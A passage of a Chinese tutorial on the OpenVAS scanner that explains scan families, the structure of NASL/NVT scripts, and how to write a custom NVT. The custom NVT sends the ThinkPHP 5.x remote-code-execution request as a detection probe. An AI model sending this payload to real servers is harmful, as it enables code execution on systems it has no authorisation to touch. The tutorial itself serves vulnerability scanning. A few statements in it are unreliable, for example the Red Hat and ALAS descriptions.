  33. Nmap NSE net:在Nmap NSE(Nmap Scripting Engine)中,net是一个特定类别的脚本,它包含了用于执行与网络相关的任务的脚本。这些脚本通常用于网络探测、服务发现和其他与网络拓扑有关的操作。这表明OpenVAS工具可以对Web进行漏洞扫描
  34. Oracle Linux Local Security Checks:是指在Oracle Linux操作系统上执行本地安全检查。这表明OpenVAS工具可以对操作系统进行漏洞扫描
  35. Palo Alto PAN-OS Local Security Checks:是指在Palo Alto PAN-OS操作系统上执行本地安全检查。这表明OpenVAS工具可以对操作系统进行漏洞扫描
  36. Peer-To-Peer File Sharing:Peer-to-peer (P2P)文件共享是一种去中心化的文件共享模式,允许计算机用户直接与其他用户共享文件,而无需中间服务器。这种文件共享模式与传统的客户端-服务器模式不同,其中文件通常存储在中央服务器上,用户必须请求服务器来获取文件。P2P文件共享允许用户共享和下载文件,同时也可以充当上传者和下载者。这表明OpenVAS工具可以对Web进行漏洞扫描
  37. Policy:这是指OpenVAS可以按照某种政策来进行安全检查,至于这种政策是什么,这里并没有体现
  38. Port scanners:Port scanners(端口扫描器)是用于识别计算机网络上活动的端口的工具或应用程序。它们的主要功能是检测主机上哪些TCP或UDP端口是打开的、关闭的或过滤的。端口扫描器可以用于各种目的,包括网络安全、网络管理、渗透测试和监控。这表明OpenVAS工具可以对端口进行漏洞扫描
  39. Privilege escalation:特权升级(Privilege Escalation)是指攻击者试图提升其在计算机系统或网络中的权限级别,从而获得更高级别的访问权限。这种提升权限的行为通常是为了绕过系统的安全措施,以执行更多的操作或获取更多敏感信息。特权升级可以发生在各种环境中,包括操作系统、应用程序、网络设备和云服务。这表明OpenVAS工具可以对操作系统、应用程序和Web进行漏洞扫描
  40. Product detection:Product detection指的是在进行漏洞扫描或网络审查时,识别目标系统上安装的各种软件和产品的过程。这是网络安全和漏洞管理中的一个重要步骤,因为不同的软件和产品可能会有不同的漏洞,而安全团队需要了解目标系统中使用的软件来识别和解决潜在的安全问题。这表明OpenVAS工具可以对操作系统、应用程序、端口和Web进行漏洞扫描
  41. Red Hat Local Security Checks:是指在Oracle Linux操作系统上执行本地安全检查。这表明OpenVAS工具可以对操作系统进行漏洞扫描
  42. Remote file access:Remote file access意指通过网络或远程连接访问和操作存储在远程计算机或服务器上的文件和数据。这种访问通常需要适当的权限和凭证,允许用户从本地计算机或其他地方连接到远程系统并执行文件操作。这表明OpenVAS工具可以对协议、端口和Web进行漏洞扫描
  43. RPC:RPC代表远程过程调用(Remote Procedure Call),它是一种计算机通信协议,允许程序在不同的地址空间(通常是不同的计算机或进程)上执行函数或过程。这使得分布式计算和跨网络通信成为可能。基本上,RPC 允许远程计算机或进程调用另一个计算机或进程上的函数,就像它们在本地计算机上调用本地函数一样。通过 RPC,远程系统可以请求服务并接收结果,而无需了解底层的网络细节。这表明OpenVAS工具可以对协议进行漏洞扫描
  44. Service detection:Service detection意味着在计算机网络中识别正在运行的服务。这是网络侦察和安全性评估的一部分,允许管理员或黑客识别网络上的活动服务以及它们所使用的端口和协议。服务检测有助于识别潜在的漏洞和安全问题,并帮助网络管理员监控网络中的活动。这表明OpenVAS工具可以对服务、端口和协议进行漏洞扫描
  45. Settings:这是指一些通用的设置。这表明OpenVAS工具可以对设置进行漏洞扫描
  46. Slackware Local Security Checks:是指在Slackware操作系统上执行本地安全检查。这表明OpenVAS工具可以对操作系统进行漏洞扫描
  47. SMTP problems:SMTP problems指的是与Simple Mail Transfer Protocol(简单邮件传输协议)有关的问题。SMTP是用于发送电子邮件的标准协议,它负责将邮件从发件人的邮件服务器传递到收件人的邮件服务器。这表明OpenVAS工具可以对协议进行漏洞扫描
  48. SNMP:SNMP是Simple Network Management Protocol(简单网络管理协议)的缩写,它是一种用于管理和监控计算机网络设备的协议。SNMP允许网络管理员从各种网络设备(如路由器、交换机、服务器、打印机和传感器等)中收集信息,以便监控网络性能、故障排除和执行配置更改。这表明OpenVAS工具可以对协议进行漏洞扫描
  49. Solaris Local Security Checks:是指在Solaris操作系统上执行本地安全检查。这表明OpenVAS工具可以对操作系统进行漏洞扫描
  50. SSL and TLS:SSL(Secure Sockets Layer)和TLS(Transport Layer Security)是两种用于保护网络通信的加密协议。它们的主要目标是确保数据在计算机或设备之间的传输是安全、私密和完整的。这表明OpenVAS工具可以对协议进行漏洞扫描
  51. SuSE Local Security Checks:是指在SuSE操作系统上执行本地安全检查。这表明OpenVAS工具可以对操作系统进行漏洞扫描
  52. Ubuntu Local Security Checks:是指在Ubuntu操作系统上执行本地安全检查。这表明OpenVAS工具可以对操作系统进行漏洞扫描
  53. Useless services:Useless services意指那些在计算机或服务器上运行的服务或进程,对系统性能或安全性没有实际用途或贡献的服务。这些服务可能会占用系统资源,增加潜在的攻击面,或导致系统维护上的不必要复杂性。这表明OpenVAS工具可以对服务进行漏洞扫描
  54. VMware Local Security Checks:是指在VMware虚拟化平台上执行本地安全检查。这表明OpenVAS工具可以对应用程序进行漏洞扫描
  55. Web application abuses:Web application abuses指的是对Web应用程序的滥用或恶意使用,通常涉及违法、欺诈或恶意活动。这些滥用可以导致数据泄露、身份盗窃、网络攻击和其他安全问题。这表明OpenVAS工具可以对Web进行漏洞扫描
  56. Web Servers:Web Servers(Web服务器)指的是用于托管和提供Web内容的软件或硬件。Web服务器接收来自客户端浏览器的HTTP请求,处理这些请求,并向客户端发送响应,通常是HTML页面、图像、脚本、样式表等Web资源。这表明OpenVAS工具可以对Web进行漏洞扫描
  57. Windows:是指在Windows操作系统上执行本地安全检查。这表明OpenVAS工具可以对操作系统进行漏洞扫描
  58. Windows : Microsoft Bulletins:Windows: Microsoft Bulletins指的是由 Microsoft 发布的安全公告或更新通知。这些通告通常包括了关于 Windows 操作系统和其他 Microsoft 软件产品的安全漏洞、补丁和更新的信息。这表明OpenVAS工具可以根据这些安全公告和更新通知对Windows操作系统进行漏洞扫描

4.2、OpenVAS的NVT

  现在我们已经搞清楚了什么是OpenVAS的Family,然后再来介绍一下OpenVAS的NVT。我们还是来到名为“Edit Scan Config Base”的页面,我们以此界面上的内容为基础进行下面的讲解。
在这里插入图片描述

  左面一列的每一行都代表对应的Family的NVT,比如“0 of 748”,就表示选择了748个NVT中的0个来检测AIX Local Security Checks类型的漏洞。其实说到这里大致就明白了,NVT(Network Vulnerability Test)其实就是用来检测各种类型的漏洞的工具,如果读者对CVE很了解,那么就把NVT看作POC就可以了。而在上图的右边一列中,可以选择是否选择当前Family的所有NVT来检测当前Family的漏洞。
  那么问题就来了,既然NVT是检测各种Family的工具,那么NVT究竟是使用什么来编写或者生成的呢?其实这里我们又要介绍一下NASL了,NASL脚本语言是起初针对网络安全扫描工具Nessus开发的,该脚本语言具有方便快捷,灵活性强,安全性高的特点,便于用户根据新出现的漏洞特性,写出有针对性的检测脚本。NASL(Nessus Attack Scripting Language)脚本具有其特定的格式要求,其脚本内容可分析两个部分,第一个部分是脚本的注册信息,包含脚本名称、CVE-ID、漏洞描述信息、脚本类型,依赖的脚本或端口等信息。第二部分是针对相应漏洞的检测代码,此部分是脚本内容的核心,包含添加引用的库,脚本初始化,脚本执行及检测返回信息等操作。因为OpenVAS和Nessus关系密切,所以OpenVAS也同样使用NASL脚本语言来编写NVT。所以说,NASL是一种专门为漏洞扫描和安全评估开发的脚本语言,我们可以使用此脚本语言来编写NVT,从而OpenVAS就可以利用这些NVT来检测当前Family的漏洞。我们来看一个NVT的例子,让我们依次点击“SecInfo->NVTs->Mageia: Security Advisory (MGASA-2023-0292)”(这个名为“Mageia: Security Advisory (MGASA-2023-0292)”的NVT是我们在此界面随便选的,选什么名字的NVT都一个道理)后就会来到此界面:
在这里插入图片描述

  在此界面中,就显示了当前我们数据库中所有的NVT,我们来看名为“Mageia: Security Advisory (MGASA-2023-0292)”的NVT。在这个NVT的介绍界面中,包含了对此NVT的概述和得分等内容,在右边一列还注明了当前这个NVT所属的Family,也就代表此NVT可以检测这种Family的漏洞。那这些信息是如何显示在此界面的呢?其实就是通过NASL脚本编写的,然后通过调用此NASL脚本来获取这些关于此NVT的基本内容,并将其展示在网页上。
  既然NVT是由NASL编写的,那我们就来看一下OpenVAS的NVT究竟是具体怎么使用NASL编写的。OpenVAS的NVT保存在“/var/lib/openvas/plugins/”目录下。
在这里插入图片描述

  我们现在随便找一个NVT(即NASL脚本)的例子查看一下里面的具体内容,比如我们双击名为“adaptbb_detect.nasl”的NVT来查看一下其具体内容。当然这里选哪个都一样,我们只是随便找一个例子介绍一下:
在这里插入图片描述

  打开此NVT文件查看其中具体内容如下所示。我们下面就来分析一下此NVT文件由哪几部分组成以及究竟具体做了什么事情。此外,其实每个NVT文件中的具体内容都类似如下所示的代码,所以我们就以此NVT为例进行学习。

# SPDX-FileCopyrightText: 2009 Greenbone AG  
# Some text descriptions might be excerpted from (a) referenced  
# source(s), and are Copyright (C) by the respective right holder(s).  
#  
# SPDX-License-Identifier: GPL-2.0-only  
  
if(description)  
{  
  script_oid("1.3.6.1.4.1.25623.1.0.100127");  
  script_version("2023-07-28T16:09:07+0000");  
  script_tag(name:"last_modification", value:"2023-07-28 16:09:07 +0000 (Fri, 28 Jul 2023)");  
  script_tag(name:"creation_date", value:"2009-04-12 20:09:50 +0200 (Sun, 12 Apr 2009)");  
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:N");  
  script_tag(name:"cvss_base", value:"0.0");  
  script_name("AdaptBB Detection (HTTP)");  
  script_category(ACT_GATHER_INFO);  
  script_family("Product detection");  
  script_copyright("Copyright (C) 2009 Greenbone AG");  
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "global_settings.nasl");  
  script_require_ports("Services/www", 80);  
  script_exclude_keys("Settings/disable_cgi_scanning");  
  
  script_xref(name:"URL", value:"http://www.adaptbb.com/");  
  
  script_tag(name:"summary", value:"HTTP based detection of AdaptBB.");  
  
  script_tag(name:"qod_type", value:"remote_banner");  
  
  exit(0);  
}  
  
include("http_func.inc");  
include("http_keepalive.inc");  
include("port_service_func.inc");  
include("list_array_func.inc");  
include("host_details.inc");  
  
port = http_get_port( default:80 );  
if( ! http_can_host_php( port:port ) ) exit( 0 );  
  
foreach dir( make_list_unique( "/adaptbb", "/forum", "/board", http_cgi_dirs( port:port ) ) ) {  
  
  install = dir;  
  if( dir == "/" ) dir = "";  
  
  buf = http_get_cache( item:dir + "/index.php", port:port );  
  if( ! buf ) continue;  
  
  if( egrep( pattern:"Powered by AdaptBB", string:buf, icase:TRUE ) ) {  
    vers = "unknown";  
  
    cpe = "cpe:/a:adaptbb:adaptbb";  
  
    set_kb_item(name: "adaptbb/installed", value: TRUE);  
  
    register_product( cpe:cpe, location:install, port:port, service:"www" );  
  
    log_message( data:build_detection_report( app:"AdaptBB",  
                                              version:vers,  
                                              install:install,  
                                              cpe:cpe ),  
                 port:port );  
    exit( 0 );  
  }  
}  
  
exit( 0 );  

  上面的代码我们可以将其分为三部分,分别是注释区(第1行~第5行)、描述区(第7行~第30行)和功能区(第32行~67行)。下面我们就来详细的讲解此NVT文件中的描述区和功能区的具体内容。对于注释区很好理解,就是关于此NVT文件的一些介绍性的信息、许可证信息和版权信息等,所以我们对于此NVT的注释区不做过多介绍,在下面两个小节中,我们会分别详细介绍此NVT的描述区和功能区,因为这两部分的内容是后面我们自定义OpenVAS的NVT的基础。

4.2.1、NVT的描述区

  经过上一小节的分析后,我们可以发现NVT文件的描述区的代码格式如下所示:

if(description)  
{  
    ……  
}  

  这部分代码就表示了我们当前这个NVT的一些描述信息,或者说在Greenbone Security Assistant页面上展示的信息。比如:

  • script_oid("1.3.6.1.4.1.25623.1.0.100127");:定义了此NVT的对象标识符(OID)。OID是一个用于唯一标识对象的层次性命名结构。这个字段的值其实我们可以随便写,只要不和其它NVT定义的重复就行。不过如果需要大量的自定义的NVT,还是最好弄得有规律一些,因为它毕竟是唯一标识NVT的字段
  • script_version("2023-07-28T16:09:07+0000");:定义了此NVT的版本号和最后修改时间,此字段就由脚本作者来维护
  • script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:N");:定义了此NVT的Common Vulnerability Scoring System (CVSS)基本向量。CVSS 是一种用于评估漏洞严重性的标准,包括多个指标,如攻击向量、攻击复杂性、认证要求、机密性、完整性、可用性等。在这个特定的NVT中,脚本使用script_tag指令来指定CVSS基本向量为AV:N/AC:L/Au:N/C:N/I:N/A:N。这些字母代表以下内容:
  • AV (Attack Vector): 攻击向量是指攻击者用于发起攻击的途径。在这个示例中,“AV:N” 表示攻击向量是网络中的攻击,即通过网络进行攻击
  • AC (Attack Complexity): 攻击复杂性是指执行成功攻击所需的复杂性。“AC:L” 表示攻击的复杂性较低,即攻击相对容易
  • Au (Authentication): 认证要求是指攻击者必须具备的认证级别,以便利用漏洞。“Au:N” 表示无需认证,攻击者无需认证就可以利用漏洞
  • C (Confidentiality Impact): 机密性影响是指漏洞利用可能对数据的机密性产生的影响。“C:N” 表示没有机密性影响
  • I (Integrity Impact): 完整性影响是指漏洞利用可能对数据的完整性产生的影响。“I:N” 表示没有完整性影响
  • A (Availability Impact): 可用性影响是指漏洞利用可能对系统的可用性产生的影响。“A:N” 表示没有可用性影响
    当我们在自定义OpenVAS的NVT时,此字段内容不要乱写,可能会导致结果不规范。我们需要根据我们编写的NVT所对应的漏洞,来查看CVSS基本向量所对应的字段是否满足,然后根据查询后的结果填写对应的字段。
  • script_tag(name:"cvss_base", value:"0.0");:定义了CVSS (Common Vulnerability Scoring System) 基本评分为0.0。CVSS 是一种标准化的方法,用于评估漏洞的严重性。CVSS基本评分通常是一个分数,用于衡量漏洞对系统的潜在威胁程度。这个分数通常在0.0到10.0之间,其中0.0表示漏洞的严重性很低,10.0表示漏洞的严重性非常高。在脚本中将cvss_base的值设置为0.0可能表示作者认为与此脚本相关的漏洞的严重性很低,或者可能是因为这个脚本不涉及具体的漏洞评估,因此将其设置为默认值

  需要注意的是,当我们在自定义OpenVAS的NVT时,此字段也不能乱写,我们需要参考此网站,打开这个网站之后,根据我们刚刚介绍的NVT(或者说漏洞)的CVSS基本向量来选择对应的按钮,选择完之后,此网站就会自动生成关于此NVT(或者说漏洞)的基本评分,这个过程如下图所示。我们只需要将这个计算得到的基本评分填到我们自定义的NVT的对应字段中即可。

  • script_name("AdaptBB Detection (HTTP)");:定义了此NVT的名字为AdaptBB Detection (HTTP)
  • script_category(ACT_GATHER_INFO);:定义了此NVT的种类为ACT_GATHER_INFO。这是一条很重要的信息,这条信息表示了此NVT的分类类别,这就说明了此NVT的目的。比如根据此NVT种类就可大致分析出此NVT的目的就是收集有关目标主机的信息,而不是执行漏洞扫描或攻击性操作。关于有哪些种分类类别以及它们对应的目的会在后面的章节进行阐述
  • script_family("Product detection");:定义了此NVT所属的Family为Product detection。关于Family的内容在之前的章节已经进行过详细分析了,我们在此不再赘述
  • script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "global_settings.nasl");:定义了此NVT依赖与名为“find_service.nasl”、“no404.nasl”、“webmirror.nasl”、“DDI_Directory_Scanner.nasl”和“global_settings.nasl”的NVT
  • script_require_ports("Services/www", 80);:定义了OpenVAS需要检查目标主机上是否开放了Web服务的80端口
  • ……

  总之,这部分代码就是NVT的一些介绍信息,并且这些介绍信息会展示在此NVT对应的Greenbone Security Assistant页面上。后面我们自定义OpenVAS的NVT的代码的描述区时,就要参考本章节介绍的内容进行编写。

4.2.2、NVT的功能区

  在整个NVT脚本中,注释区和描述区剩下的所有部分都被称为NVT的功能区。NVT的功能区的这部分代码的目的就是用来具体实现漏洞扫描的,这部分也是整个NVT的核心部分,有了这部分内容,OpenVAS才能扫描到对应的漏洞。我们也可以把这部分代码理解为CVE的POC,OpenVAS就是利用NVT的功能区的代码来检测此NVT对应的漏洞是否存在的。我们下面就以刚刚介绍的名为“adaptbb_detect.nasl”的NVT为例来说一下这部分代码究竟都做了什么事情。

  1. 头部的include语句引入了一些NASL功能库,例如HTTP函数库、端口服务函数库等。这些库提供了用于处理HTTP请求、端口服务信息等的函数
  2. port = http_get_port( default:80 );用于获取目标主机上HTTP服务所使用的端口,默认是80端口。
  3. if( ! http_can_host_php( port:port ) ) exit( 0 );用于检查目标主机是否支持 PHP,如果不支持,脚本就会退出
  4. foreach dir( make_list_unique( "/adaptbb", "/forum", "/board", http_cgi_dirs( port:port ) ) )启动一个循环,遍历一系列可能包含AdaptBB的目录
    • 在循环中,脚本会通过HTTP请求检查每个目录中是否存在index.php文件
    • 如果在index.php文件中找到了"Powered by AdaptBB"的标识,脚本会确认AdaptBB已经安装,并将相关信息记录在扫描报告中
    • 最后,脚本会记录关于AdaptBB安装的信息,包括应用程序名称、版本、安装位置等。
  5. 最后使用exit( 0 );命令退出当前NVT脚本的执行

  可以发现,此NVT的主要作用是检测目标主机上是否安装了AdaptBB,并在发现时获取相关信息。其实我们讲解这个NVT的功能区的目的就是了解一下NVT脚本或者NASL脚本中的代码的写作习惯以及代码逻辑,至于它具体是干什么的其实我们不用太在意,因为每个NVT脚本的功能区都不同,我们需要针对不同的漏洞来设计不同的NVT脚本中的功能区的具体代码。

4.3、自定义OpenVAS的NVT

  经过上一章节的学习,我们已经搞清楚了OpenVAS的Family和NVT,并且对NVT脚本中的代码的描述区和功能区有了清晰的认识。那我们现在考虑一下,目前OpenVAS只给我们提供了58种Family,也就是说我们目前只能使用OpenVAS来检测58个大类的漏洞,这对于种类繁多的漏洞类型来说肯定是不够的。那如果我们想自定义一个NVT来检测特定的漏洞该怎么做呢?这就是我们本节需要研究的问题。

  经过之前的学习我们知道,OpenVAS工具是通过下载官网的数据到本地,然后通过启动notus-scanner服务、ospd-openvas服务、gvmd服务和gsad服务来加载这些数据,这些数据中就包括我们目前研究的NVT。那么如果我们想自定义NVT,首先就要找到它存储的位置,经过前面的学习,我们知道NVT都保存在“/var/lib/openvas/plugins/”目录,所以我们需要在此目录下新建脚本来进行自定义NVT的编写。那么就让我们沿着这个思路开始自定义OpenVAS的NVT。

  1. 首先来到“/var/lib/openvas/plugins/”目录:
$ cd /var/lib/openvas/plugins/
  1. 然后在此目录下新建一个名为“my_family”的目录并进入此目录,我们后面就将自定义的NVT保存在此目录中:
$ mkdir my_family && cd my_family
  1. 然后在此目录中新建一个名为“thinkphp-2023-10-24.nasl”的NASL的脚本文件,并对其进行编辑:
$ touch thinkphp-2023-10-24.nasl
$ gedit thinkphp-2023-10-24.nasl
  1. 在打开的文件中输入如下内容后,保存并退出:
if(description)
{
# 设置时间戳
script_oid(1698157400);

# 设置最后一次修改时间
script_tag(name:"last_modification", value:"$Date: 2023-10-24 22:21:32 +0100 (Tue, 24 Oct 2023) $");

# 设置创建时间
script_tag(name:"creation_date", value:"2023-10-24 22:21:32 +0100 (Tue, 24 Oct 2023)");

# 设置版本号
script_version("$Revision:2.0$");

# 设置名称
script_name("ThinkPHP RCE(2023.10.24)");

# 设置CVSS基本评分
script_tag(name:"cvss_base", value:"8.3");

# 设置CVSS基本向量
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C");
    
# 设置脚本类型。其可设置的类型如下(并没有包含全部类型):
# ACT_INIT: Plugin sets KB items.
# ACT_SlistlisCANNER: Plugin is a port scanner or similar (like ping).
# ACT_SETTINGS: Plugin sets KB items after ACT_SCANNER.
# ACT_GATHER_INFO: Plugin identites services, parses banners.
# ACT_ATTACK: For non-intrusive attacks (eg directory traversal).
# ACT_MIXED_ATTACK: Plugin launches potentially dangerous attacks.
# ACT_DESTRUCTIVE_ATTACK: Plugin attempts to destroy data.
# ACT_DENIAL: Plugin attempts to crash a service.
# ACT_KILL_HOST: Plugin attempts to crash target host.
script_category(ACT_ATTACK);

# 设置版权
script_copyright("CopyRight: IronmanJay in 2023.10.24");

# 设置所属family
script_family("MyNVTs");

# 设置检测的端口号
script_require_ports("Services/www", 80);

# 设置概述
script_tag(name:"summary", value:"Send a payload: '?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Tr0y', expected return md5('Tr0y'): 8f95eca949e2ec377434ea3fea1cc381");

# 设置insight
script_tag(name:"insight", value:"This vulnerability affects these versions: ThinkPHP v5.0: < 5.0.23 and ThinkPHP v5.1 < 5.1.31");

# 设置affected
script_tag(name:"affected", value:"The site which powerd by thinkphp with specific version.");

# 退出
exit(0);	
}

# 添加库,根据自己对应的库的所属路径填写
include('/var/lib/openvas/plugins/http_func.inc');
include('/var/lib/openvas/plugins/global_settings.inc');

# 获取www端口,默认为80
port = get_http_port(default: 80);

# 构造payload
str = string("GET /index.php?s=index/think/app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Tr0y HTTP/1.0\r\n\r\n");

# 发送payload并返回服务器的响应
recv = http_send_recv(port: port, data: str);

# DEBUG使用,打印返回的header和body
display(recv, "\n");

# 利用正则检查payload是否执行成功
vulnerable = egrep(pattern:'8f95eca949e2ec377434ea3fea1cc381', string:recv);

if(vulnerable) 
{
report = "Thinkphp v5.x Vulnerable!";
# 给OpenVAS的反馈,执行这个才会有vulnerable显示
security_message( port:port, data:report);
}
else report = "Thinkphp v5.x NOT vulnerable";

# DEBUG使用
# display(report);

# 退出
exit( 0 );

       关于这段脚本代码主要由描述区和功能区两部分组成。关于此脚本的描述区的内容我们就不做过多讨论了,因为之前已经介绍的很详细了(可以参考3.4.2.1、NVT的描述区)。我们主要来看此脚本的功能区,该功能区的代码用于检测ThinkPHP框架(ThinkPHP是一个开源的PHP框架,用于构建Web应用程序。它提供了一系列的工具和库,帮助开发者更容易地创建和维护PHP网站和应用)中的漏洞。具体来说,这段代码主要做了以下几件事情:

  1. include('/var/lib/openvas/plugins/http_func.inc');include('/var/lib/openvas/plugins/global_settings.inc');:这部分用于导入所需的库和函数,以便在脚本中使用相关功能
  2. port = get_http_port(default: 80);:这行代码用于获取HTTP服务的默认端口号,通常是80
  3. str = string("GET /index.php?s=index/think/app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Tr0y HTTP/1.0\r\n\r\n");:这行代码构造了一个HTTP请求的payload,用于检测漏洞是否存在
  4. recv = http_send_recv(port: port, data: str);:这行代码发送HTTP请求并接收服务器的响应
  5. vulnerable = egrep(pattern:'8f95eca949e2ec377434ea3fea1cc381', string:recv);:这行代码使用正则表达式检查响应中是否包含特定的字符串,以确定是否存在漏洞
  6. 根据检测结果,如果vulnerable为真,脚本将生成一条报告Thinkphp v5.x Vulnerable!,并使用security_message函数将该报告发送给OpenVAS
  7. 如果vulnerable为假,脚本将生成报告Thinkphp v5.x NOT vulnerable
  8. 最后,exit(0);表示脚本正常结束
  1. 当我们做完以上操作后,使用如下命令来重新同步源数据:
$ sudo /usr/local/bin/greenbone-feed-sync
  1. 然后使用如下命令对NVT数据进行更新:
$ sudo openvas --update-vt-info
  1. 然后使用如下命令重新启动下面的几个服务,目的是加载我们刚刚自定义的OpenVAS的NVT:
$ sudo systemctl restart notus-scanner
$ sudo systemctl restart ospd-openvas
$ sudo systemctl restart gvmd
$ sudo systemctl restart gsad
  1. 当我们做完以上操作后,我们自定义的OpenVAS的NVT就加载完毕了。我们就可以启动Greenbone Security Assistant来查看一下我们自定义的OpenVAS的NVT是否加载成功了:
$ xdg-open "http://127.0.0.1:9392" 2>/dev/null >/dev/null &
  1. 当我们打开Greenbone Security Assistant网页后,依次选择“SecInfo->NVTs”选项,然后在此界面中名为“Filter”搜索框中输入family="MyNVTs"(这就是我们自定义的NVT的所属Family的名称),然后按一下“Enter”键。就会将我们自定义的OpenVAS的NVT展示出来,这就表示我们可以利用此NVT来检测ThinkPHP的漏洞。至于如何使用,在前面的章节已经介绍的很详细了,在此不再赘述:
    在这里插入图片描述

5、结论

5.1、OpenVAS检测的漏洞对象

  在前面的章节(“3.4.1、OpenVAS的Family”章节)介绍过,OpenVAS可以检测58个大类的漏洞,不过仍不清楚究竟具体可以检测到哪些具体漏洞,即具体的检测对象。所以本章节将会介绍如何提取到OpenVAS检测到的具体漏洞对象。
  那么究竟该如何完成这项工作呢?经过之前的分析发现,在检测漏洞的脚本中(即以“.nasl”结尾的脚本),script_name字段中的数据就是该漏洞检测脚本的目标检测对象。比如我们查看“/var/lib/openvas/plugins/FormMail_detect.nasl”脚本。
在这里插入图片描述

  可以发现其中的script_name字段中的FormMail Detection就表明了该漏洞检测脚本是针对FormMail这个应用的。故我们的想法是写一个脚本,来提取其中script_name字段的内容,就可以来确定究竟OpenVAS可以具体检测哪些对象的漏洞了。

  1. 首先来到当前用户的根目录中,创建并编辑一个文件,这里面就要写我们的提取信息脚本:
$ cd ~
$ touch get_target.py
$ gedit get_target.py
  1. 在打开的文件中,输入如下内容,保存修改后退出:
import os
import re
import csv

# 定义提取script_name字段的函数
def extract_script_names(file_path):
    script_names = []
    with open(file_path, 'r', encoding='utf-8', errors='ignore') as file:
        content = file.read()
        script_name_match = re.search(r'script_name\("(.*?)"\)', content)
        if script_name_match:
            script_name = script_name_match.group(1)
            script_names.append(script_name)
    return script_names

# 定义递归遍历目录的函数
def process_directory(directory):
    script_names = []
    for root, dirs, files in os.walk(directory):
        for file in files:
            if file.endswith('.nasl'):
                file_path = os.path.join(root, file)
                script_names.extend(extract_script_names(file_path))
    return script_names

# 定义去重函数
def remove_duplicates(script_names):
    return list(set(script_names))

# 定义保存到CSV文件的函数
def save_to_csv(script_names, output_file):
    with open(output_file, 'w', newline='', encoding='utf-8') as csvfile:
        writer = csv.writer(csvfile)
        writer.writerow(['Target Name'])
        for name in script_names:
            # 去掉双引号
            name = name.replace('"', '')
            writer.writerow([name])

# 指定目标目录
target_directory = '/var/lib/openvas/plugins'

# 处理目标目录并保存到CSV文件
all_script_names = process_directory(target_directory)
unique_script_names = remove_duplicates(all_script_names)
# 指定输出目录
output_csv_file = '/home/iie-iisd/result.csv'
save_to_csv(unique_script_names, output_csv_file)

# 提取完毕
print("Done!")
  1. 然后运行该脚本:
$ python3 get_target.py
  1. 运行完成以上脚本后,就可以成功提取到目标信息。此时我们可以查看一下提取结果。我在这里使用Excel打开该文件。
    在这里插入图片描述

  可以发现,最终我们提取到84732条数据(除去第一行的标题)。这也就表明OpenVAS可以对84732种漏洞进行检测(注:这是2023-10-22的可检测漏洞条目。由于OpenVAS经常会对漏洞库进行更新,所以不同时间可以检测到的漏洞条目会有区别)。不过这不代表可以对84732个对象进行漏洞检测,因为一个对象可能包含多种漏洞。若想了解究竟有多少漏洞检测对象,可以再写一个脚本进行检测,不过在这里并没有这个需求,故不再赘述。应要求,现对以下几类OpenVAS可以进行漏洞检测的对象进行统计。

序号检测对象可检测的漏洞数量备注
Kubernetes(K8s)20(+41)=61Kubernetes(通常简称为K8s)是一个开源的容器编排平台,用于自动化部署、扩展和管理容器化应用程序,具有高可用性、可扩展性和自我修复能力。
Docker98一个开源的容器化平台,使开发者能够打包、部署和运行应用程序及其依赖的轻量级容器,实现了环境的一致性和应用的快速交付。
Pytorch0一个开源的深度学习框架,提供了灵活的张量计算和动态神经网络构建,适用于学术研究和工业应用。
MySQL858开源的关系型数据库管理系统,由Oracle公司开发和维护。
SQLite60一款轻量级的嵌入式关系型数据库管理系统,它以零配置、无服务器的特点著称,适用于嵌入式设备和小型应用程序。
Redis87一种基于内存的键值存储系统,用于缓存、消息队列等场景。
MongoDB90一种面向文档的NoSQL数据库,适用于大规模数据存储和高性能查询。
IBM Db270由IBM公司开发的关系型数据库管理系统,用于企业级应用。
PostgreSQL376开源的对象-关系型数据库系统,具有广泛的功能和可扩展性。
Oracle Database60由Oracle公司开发的商业关系型数据库管理系统,功能强大。
Microsoft SQL Server23由Microsoft公司开发的关系型数据库管理系统,用于Windows平台。
Cassandra2一种分布式的NoSQL数据库系统,用于处理大量数据和高并发请求。

5.2、OpenVAS的漏洞信息来源

  有了上一章节提取到的信息,就可以进一步分析得到OpenVAS检测的漏洞信息来源。统计结果如下表所示。

序号漏洞信息来源数量备注
DLA2391DLA(Debian LTS Advisory)是Debian长期支持(LTS)团队发布的安全公告,用于通报和解决Debian稳定版本中发现的安全漏洞,为用户提供更新和修补程序的建议。
FEDORA23372FEDORA是Fedora发布的安全公告,用于通报和解决发现的安全漏洞,为用户提供更新和修补程序的建议。
GLSA2190GLSA(Gentoo Linux Security Advisories)是Gentoo Linux发布的安全公告,用于通报和解决发现的安全漏洞,为用户提供更新和修补程序的建议。
RHSA1854RHSA(Red Hat Security Advisory)是红帽公司发布的安全公告,用于通报和解决发现的安全漏洞,为用户提供更新和修补程序的建议。
CESA3211CESA(CentOS Errata and Security Advisory)是CentOS发布的错误和安全公告,用于通知用户有关系统错误和安全漏洞的信息,并提供更新和修补程序。
openSUSE-SU3707openSUSE-SU是openSUSE发布的安全更新通告,用于通知用户有关系统中发现的安全漏洞,并提供更新和修补程序的信息。
USN5556USN(Ubuntu Security Notice)是Ubuntu发布的安全通告,用于通报和解决发现的安全漏洞,为用户提供更新和修补程序的建议。
SUSE-SU745SUSE-SU是SUSE Linux Enterprise Server(SLES)和SUSE Linux EnterpriseDesktop(SLED)发布的安全更新通告,用于通知用户有关系统中发现的安全漏洞,并提供更新和修补程序的信息。
ALAS748ALAS(Arch Linux Security Advisories)是Arch Linux发布的安全公告,用于通报和解决发现的安全漏洞,为用户提供更新和修补程序的建议。
DSA5394DSA(Debian Security Advisory)是Debian发布的安全公告,用于通报和解决发现的安全漏洞,为用户提供更新和修补程序的建议。
CVE748CVE(Common Vulnerabilities and Exposures,通用漏洞和暴露)是一个用于标识和跟踪计算机系统中公共漏洞的字典,为安全研究人员和厂商提供了一个统一的标准和标识体系。
